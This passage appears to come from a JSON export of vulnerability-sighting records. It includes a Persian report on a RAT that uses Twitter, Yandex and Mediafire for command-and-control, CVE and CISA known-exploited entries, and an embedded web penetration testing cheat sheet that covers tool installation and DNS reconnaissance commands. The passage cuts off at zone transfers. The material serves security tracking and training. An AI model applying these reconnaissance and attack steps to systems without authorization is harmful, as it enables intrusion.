\u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 HTTPS \u0628\u0648\u062f\u0647 \u0648 \u06a9\u0634\u0641 \u0627\u0644\u06af\u0648 \u0628\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0646\u200c\u0647\u0627 \u0628\u0633\u06cc\u0627\u0631 \u0633\u062e\u062a \u0627\u0633\u062a. \n\n\u067e\u0633 \u0627\u0632 \u0627\u0646\u062c\u0627\u0645 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644\u200c\u0647\u0627\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u062f\u0631\u06cc\u0627\u0641\u062a\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 RAT \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u06cc\u06a9\u0633\u200c\u067e\u06cc \u06a9\u0627\u0631 \u0646\u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u062c\u0631\u0627 \u062f\u0631 \u0645\u062d\u06cc\u0637 \u062c\u0639\u0628\u0647 \u0634\u0646\u06cc \u0648 \u0648\u062c\u0648\u062f \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u062a\u062d\u0644\u06cc\u0644 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0622\u0644\u0648\u062f\u0647 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06af\u0631 \u0686\u0646\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc\u06cc \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647 \u0634\u0648\u062f\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u062c\u0639\u0644\u06cc \u0633\u0648\u0626\u06cc\u0686 \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0631\u0627\u0641\u06cc\u06a9 HTTP \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u0628\u0631\u0627\u06cc \u0628\u0631\u0642\u0631\u0627\u0631\u06cc \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 \u0628\u0633\u062a\u0631\u0647\u0627\u06cc \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0627\u06cc\u0646 RAT \u0627\u0632 \u06f1\u06f2 \u0631\u0645\u0632\u0648\u0627\u0631\u0647\u200c\u06cc \u0647\u0627\u0631\u062f\u06a9\u062f\u0634\u062f\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. (\u06f7 \u0631\u0645\u0632\u0648\u0627\u0631\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0648\u0627\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c \u06f4 \u0631\u0645\u0632\u0648\u0627\u0631\u0647 \u0628\u0631\u0627\u06cc Yandex \u0648 \u06cc\u06a9\u06cc \u0628\u0631\u0627\u06cc \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631) \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0642\u0627\u062f\u0631 \u0627\u0633\u062a \u0627\u0632 \u0631\u0648\u06cc \u0622\u062e\u0631\u06cc\u0646 \u062a\u0648\u06cc\u06cc\u062a \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u062f\u0631 \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u060c \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u062e\u0648\u0627\u0646\u062f\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u06cc\u06cc\u062a \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f. \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0628\u0647 \u0633\u0631\u0642\u062a \u0628\u0631\u062f\u0647 \u0631\u0627 \u0646\u06cc\u0632 \u0628\u0631 \u0631\u0648\u06cc \u0628\u0633\u062a\u0631 \u0627\u064e\u0628\u0631 Yandex \u0648 \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \n\n\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a \u06a9\u06cc\u200c\u0644\u0627\u06af\u0631 \u0628\u0648\u062f\u0647 \u0648 \u062f\u0631 \u0628\u0631\u062e\u06cc \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u060c \u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0633\u06a9\u0631\u06cc\u0646\u200c\u0634\u0627\u062a \u0627\u0632 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc \u062a\u0647\u06cc\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0645\u062d\u0642\u0642\u0627\u0646 \u062a\u0627\u0644\u0648\u0633 \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u067e\u0634\u062a \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0627\u0646\u06af\u06cc\u0632\u0647\u200c\u06cc \u0628\u0627\u0644\u0627\u06cc\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u0627\u0632 \u0646\u0648\u0622\u0648\u0631\u06cc\u200c\u0647\u0627\u06cc \u062e\u0648\u0628\u06cc \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0639\u062c\u06cc\u0628 \u0648 \u063a\u0631\u06cc\u0628 \u062f\u06cc\u06af\u0631\u06cc \u0646\u06cc\u0632 \u0647\u0633\u062a \u0628\u0647\u200c\u0637\u0648\u0631\u06cc\u200c\u06a9\u0647 \u0627\u06af\u0631 \u062f\u0631 \u06cc\u06a9 \u0645\u062d\u06cc\u0637 \u062c\u0639\u0628\u0647 \u0634\u0646\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc \u0631\u0627 \u0628\u0647 \u0633\u0645\u062a \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f \u0622\u0645\u0627\u0632\u0648\u0646 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.", "creation_timestamp": "2026-08-06T00:00:35.198115Z"}, {"uuid": "5340236d-19cb-4409-bf18-4d7be8c6e110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3moct7ju2se2q", "content": "Oldest CVEs in this batch: CVE-2008-4250 (Microsoft), CVE-2009-1537 (Microsoft), CVE-2009-3459 (Adobe), CVE-2010-0249 (Microsoft), CVE-2010-0806 (Microsoft).", "creation_timestamp": "2026-06-15T08:05:44.005588Z"}, {"uuid": "587c7e24-3339-41be-a9fc-10f4e44b9762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3modbkks3as2f", "content": "CISA Adds Seven Known Exploited Vulnerabilities to Catalog\nRelease Date May 20, 2026\n\n...\n\nCVE-2010-0806 Microsoft Internet Explorer Use-After-Free Vulnerability\nCVE-2026-41091 Microsoft Defender Elevation of Privilege Vulnerability\nCVE-2026-45498 Microsoft Defender Denial of Service Vulnerability", "creation_timestamp": "2026-06-15T12:22:25.502131Z"}, {"uuid": "2eb39e73-73e2-40f0-9369-0d5fa095d004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-06T00:00:59.538466Z"}, {"uuid": "dd77b326-b4c0-4f8b-b2b5-e1f2cc03a612", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/234c2d4e-aec8-4abc-9118-47827b06578f", "content": "", "creation_timestamp": "2026-06-19T12:47:51.040466Z"}, {"uuid": "45179445-e476-4bfc-8732-4e90fa49fde5", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b51d3ffa-7785-4404-b657-d2b29ed70b24", "content": "", "creation_timestamp": "2026-06-19T12:48:00.895673Z"}, {"uuid": "15f28291-2311-4e0e-bd1b-78e2f1bd652b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bbdd86b8-d168-41f0-84ea-61558b85c0da", "content": "", "creation_timestamp": "2026-06-19T12:47:51.927368Z"}, {"uuid": "eadef46e-87ab-44d0-8edb-f920cd40d53f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b5debf52-2e64-4619-80fd-e8d2ef627651", "content": "", "creation_timestamp": "2026-06-19T16:45:39.764621Z"}, {"uuid": "647abacc-e52f-40d0-b672-1a8b82fcd425", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/104d5699-e6f0-4cc4-8ca8-eee6ad940d46", "content": "", "creation_timestamp": "2026-06-23T14:04:36.492391Z"}, {"uuid": "99ecb04c-8fd0-4ea8-ae02-6b0c2689fb77", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5794f3ab-1027-475e-823e-d64f1d958758", "content": "", "creation_timestamp": "2026-06-23T14:04:11.456437Z"}, {"uuid": "4ca497c4-365e-4858-a375-a781435357a0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/87bf1ce7-04fd-412e-a31c-eb0a31643d3f", "content": "", "creation_timestamp": "2026-06-23T14:04:33.541069Z"}, {"uuid": "003d35dc-e0bc-4a85-9935-a7ce392be981", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/84f341ce-8272-4eab-9cfe-a7b76f7cb592", "content": "", "creation_timestamp": "2026-06-23T14:04:35.493924Z"}, {"uuid": "0ff27ea8-537d-46eb-bb01-18b8ad82de11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://gist.github.com/SixthHunter/03cef581e03578d6e37a331dc3a3abad", "content": "# Web Penetration Testing Cheat Sheet\n\n## Complete Guide to Ethical Hacking & Web Application Security Testing\n\n---\n\n## \ud83d\udccb Table of Contents\n- [Introduction](#introduction)\n- [Legal & Ethical Considerations](#legal--ethical-considerations)\n- [Penetration Testing Methodology](#penetration-testing-methodology)\n- [Initial Setup & Installation](#initial-setup--installation)\n- [Reconnaissance (Information Gathering)](#reconnaissance-information-gathering)\n- [Port & Service Scanning](#port--service-scanning)\n- [Web Enumeration](#web-enumeration)\n- [Vulnerability Assessment](#vulnerability-assessment)\n- [SQL Injection (SQLi)](#sql-injection-sqli)\n- [Cross-Site Scripting (XSS)](#cross-site-scripting-xss)\n- [Authentication Attacks](#authentication-attacks)\n- [File Inclusion Vulnerabilities](#file-inclusion-vulnerabilities)\n- [Server-Side Request Forgery (SSRF)](#server-side-request-forgery-ssrf)\n- [Command Injection](#command-injection)\n- [API Testing](#api-testing)\n- [SSL/TLS Security](#ssltls-security)\n- [Post-Exploitation](#post-exploitation)\n- [Reporting](#reporting)\n- [Tools Reference](#tools-reference)\n- [Practice Labs & Resources](#practice-labs--resources)\n- [Sample Scripts](#sample-scripts)\n\n---\n\n## Introduction\n\nWeb penetration testing is the practice of simulating cyberattacks against web applications to identify security vulnerabilities before malicious actors can exploit them. This comprehensive guide covers everything from initial reconnaissance to post-exploitation and reporting.\n\nWhether you're preparing for certifications like OSCP, CEH, or GWAPT, or you're a security professional looking to expand your skills, this cheat sheet provides practical commands, techniques, and real-world examples.\n\n---\n\n## Legal & Ethical Considerations\n\n### \u26a0\ufe0f IMPORTANT LEGAL WARNING\n\n**Penetration testing without explicit written permission is ILLEGAL** in most jurisdictions:\n- **USA**: Computer Fraud and Abuse Act (CFAA)\n- **UK**: Computer Misuse Act 1990\n- **EU**: General Data Protection Regulation (GDPR) and local cybercrime laws\n- **Australia**: Cybercrime Act 2001\n\n### Requirements Before Testing:\n1. **Signed Authorization Letter** - Must specify:\n   - Target scope (IP ranges, domains, applications)\n   - Testing dates and times\n   - Allowed testing methods\n   - Emergency contact information\n   - Legal jurisdiction and liability clauses\n\n2. **Rules of Engagement Document** covering:\n   - What constitutes out-of-scope activity\n   - Data handling procedures\n   - Notification thresholds for critical findings\n   - Third-party considerations\n\n3. **Insurance & Professional Indemnity** (for professional testers)\n\n### Certifications & Training:\n- **OSCP** (Offensive Security) - Hands-on penetration testing\n- **OSWP** (Offensive Security Wireless Professional)\n- **OSWE** (Offensive Security Web Expert)\n- **CEH** (EC-Council) - Certified Ethical Hacker\n- **eWPT/X** (eLearnSecurity) - Web penetration tester\n- **PNPT** (TCM Security) - Practical Network Penetration Tester\n- **BSCP** (PortSwigger) - Burp Suite Certified Practitioner\n- **GWAPT** (GIAC) - Web Application Penetration Tester\n- **CISSP** (ISC\u00b2) - Security management (requires experience)\n\n---\n\n## Penetration Testing Methodology\n\n### The 8 Phases of Penetration Testing\n\n\n| Phase | Name                         | Key Activities (Detailed)                                                                                                                                                                                                                                                                                                                                                                                                                 | Deliverables                              |\n| ----- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------- |\n| **1** | **Planning**                 | \u2022 Define scope (IPs, domains, applications, APIs)\u2022 Identify in-scope / out-of-scope assets\u2022 Establish Rules of Engagement (RoE)\u2022 Obtain legal authorization & NDA\u2022 Determine testing methodology (e.g., OWASP Testing Guide, PTES)\u2022 Identify stakeholders & communication channels\u2022 Set testing timeline and escalation procedures\u2022 Define success criteria & reporting format                                | Signed contract, scope document           |\n| **2** | **Reconnaissance**           | \u2022 Passive OSINT (WHOIS, social media, breach databases)\u2022 Identify employee emails & technology stack\u2022 DNS enumeration & zone transfer attempts\u2022 Subdomain discovery (bruteforce + certificate transparency logs)\u2022 Search engine reconnaissance (Google dorking)\u2022 Metadata extraction from public documents\u2022 Identify third-party integrations & cloud services\u2022 Gather leaked credentials from public sources | Target profile, attack surface map        |\n| **3** | **Scanning**                 | \u2022 Network discovery (live host identification)\u2022 TCP/UDP port scanning\u2022 Service version detection & banner grabbing\u2022 OS fingerprinting\u2022 SSL/TLS configuration analysis\u2022 Firewall/WAF detection\u2022 Vulnerability scanning using automated tools\u2022 Identify misconfigurations (open S3 buckets, exposed databases)                                                                                                  | Network map, open ports, services         |\n| **4** | **Enumeration**              | \u2022 Directory and file brute-forcing\u2022 API endpoint discovery\u2022 Parameter fuzzing & input testing\u2022 User account enumeration (login, password reset)\u2022 SMB/LDAP enumeration\u2022 Database fingerprinting\u2022 Identify hidden functionality in JavaScript files\u2022 Review robots.txt & sitemap.xml                                                                                                                            | Content inventory, potential entry points |\n| **5** | **Vulnerability Assessment** | \u2022 Automated vulnerability scanning\u2022 Manual verification of findings\u2022 CVE & exploit database research\u2022 Misconfiguration analysis\u2022 Authentication & authorization testing\u2022 Business logic testing\u2022 Rate limiting & brute-force testing\u2022 Map vulnerabilities to CVSS scoring\u2022 Prioritize risks (Critical, High, Medium, Low)                                                                                 | Vulnerability list, risk ratings          |\n| **6** | **Exploitation**             | \u2022 Develop proof-of-concept (PoC) exploits\u2022 Exploit web vulnerabilities (SQLi, XSS, RCE, SSRF)\u2022 Password attacks (brute-force, credential stuffing)\u2022 Privilege escalation (local & domain level)\u2022 Exploit known CVEs\u2022 Gain shell access (reverse shell, web shell)\u2022 Bypass WAF/IDS mechanisms\u2022 Data extraction under controlled conditions                                                                     | Exploited vulnerabilities, access gained  |\n| **7** | **Post-Exploitation**        | \u2022 Establish persistence mechanisms\u2022 Lateral movement across network\u2022 Token impersonation & pass-the-hash attacks\u2022 Dump credentials & password hashes\u2022 Sensitive data discovery (PII, financial data)\u2022 Privilege escalation to domain admin\u2022 Simulate data exfiltration\u2022 Log analysis & detection evasion techniques\u2022 Assess business impact of compromise                                                 | Compromised systems, sensitive data       |\n| **8** | **Reporting**                | \u2022 Document technical findings with evidence (screenshots, logs)\u2022 Risk severity classification & impact analysis\u2022 Business risk explanation for executives\u2022 Remediation & mitigation recommendations\u2022 Re-test verification (if required)\u2022 Executive summary (non-technical)\u2022 Technical appendix with reproduction steps\u2022 Final presentation to stakeholders                                                    | Final report, presentation                |\n\n\n\n### Testing Types:\n- **Black Box**: No prior knowledge of the system\n- **White Box**: Full access to source code, architecture, credentials\n- **Grey Box**: Partial knowledge (e.g., authenticated access)\n- **Blind Testing**: Tester knows target, target doesn't know tester\n- **Double-Blind**: Neither side knows about the test\n- **Red Team**: Full-scope adversarial simulation\n- **Purple Team**: Collaborative testing with defensive teams\n\n---\n\n## Initial Setup & Installation\n\n### Installing Kali Linux\n\n**Option 1: Virtual Machine (Recommended)**\n```bash\n# Download Kali Linux VM from official site\n# Import into VirtualBox/VMware\n# Default credentials: kali:kali\n```\n\n**Option 2: Bare Metal**\n```bash\n# Download ISO from kali.org\n# Create bootable USB: dd if=kali.iso of=/dev/sdb bs=4M status=progress\n# Boot and install\n```\n\n**Option 3: Docker**\n```bash\ndocker pull kalilinux/kali-rolling\ndocker run -it kalilinux/kali-rolling /bin/bash\n```\n\n**Option 4: Windows Subsystem for Linux (WSL2)**\n```bash\n# Install WSL2, then:\nwsl --install -d kali-linux\n```\n\n### Essential Tools Installation\n\n```bash\n# Update package lists\nsudo apt update && sudo apt upgrade -y\n\n# Core scanning tools\nsudo apt install -y nmap nikto gobuster dirb wfuzz\n\n# Web application tools\nsudo apt install -y sqlmap burpsuite zaproxy\n\n# Brute force tools\nsudo apt install -y hydra medusa john hashcat\n\n# Enumeration tools\nsudo apt install -y ffuf wfuzz whatweb wafw00f\n\n# Reconnaissance tools\nsudo apt install -y sublist3r amass theharvester dnsrecon\n\n# Exploitation framework\nsudo apt install -y metasploit-framework\n\n# Networking tools\nsudo apt install -y netcat-openbsd socat wireshark tcpdump\n\n# Post-exploitation\nsudo apt install -y impacket-scripts pwncat\n\n# Wordlists\nsudo apt install -y seclists wordlists\n```\n\n### Python Tools Installation\n```bash\n# Install pip if not present\nsudo apt install -y python3-pip\n\n# Python-based tools\npip3 install theHarvester dalfox xsstrike\npip3 install impacket pwncat-cs\npip3 install dnspython requests beautifulsoup4\npip3 install shodan censys\npip3 install argon2 python-nmap\n```\n\n### Directory Structure Setup\n```bash\n# Create organized workspace\nmkdir -p ~/pentest/{tools,wordlists,scripts,reports,loot}\n\n# Create target-specific directories\nmkdir -p ~/pentest/$(date +%Y%m%d)_target/{recon,scans,exploit,evidence}\ncd ~/pentest/$(date +%Y%m%d)_target\n```\n\n### Environment Variables\n```bash\n# Add to ~/.bashrc for persistence\nexport TARGET=\"10.10.10.1\"\nexport DOMAIN=\"target.com\"\nexport LHOST=$(ip a | grep tun0 | awk '{print $2}' | cut -d/ -f1)\nexport WORDLIST=\"/usr/share/wordlists/rockyou.txt\"\n\n# Source the file\nsource ~/.bashrc\n```\n\n### Burp Suite Configuration\n1. **Proxy Setup**:\n   - Browser \u2192 Settings \u2192 Network \u2192 Manual proxy: `127.0.0.1:8080`\n   - Install Burp CA certificate\n   - Firefox: Preferences \u2192 Privacy & Security \u2192 Certificates \u2192 Import\n\n2. **FoxyProxy** browser extension for quick proxy switching\n\n3. **Scope Configuration**:\n   - Target tab \u2192 Scope \u2192 Add to scope\n   - Exclude out-of-scope items\n\n### /etc/hosts Configuration\n```bash\n# Add target domains for easier access\nsudo tee -a /etc/hosts << EOF\n10.10.10.1    target.htb dev.target.htb admin.target.htb\n10.10.10.2    mail.target.htb vpn.target.htb\nEOF\n```\n\n---\n\n## Reconnaissance (Information Gathering)\n\n### DNS Enumeration\n\n#### Basic DNS Queries\n```bash\n# WHOIS information\nwhois target.com\n\n# All DNS records\ndig target.com ANY +noall +answer\nnslookup -type=ANY target.com\n\n# MX records (mail servers)\ndig target.com MX +short\nnslookup -type=MX target.com\n\n# NS records (name servers)\ndig target.com NS +short\nhost -t ns target.com\n\n# TXT records (SPF, DKIM, verification)\ndig target.com TXT +short\nnslookup -type=TXT target.com\n\n# A/AAAA records\ndig target.com A +short\ndig target.com AAAA +short\n\n# CNAME records\ndig www.target.com CNAME +short\n\n# SOA record (start of authority)\ndig target.com SOA +short\n```\n\n#### Zone Transfer 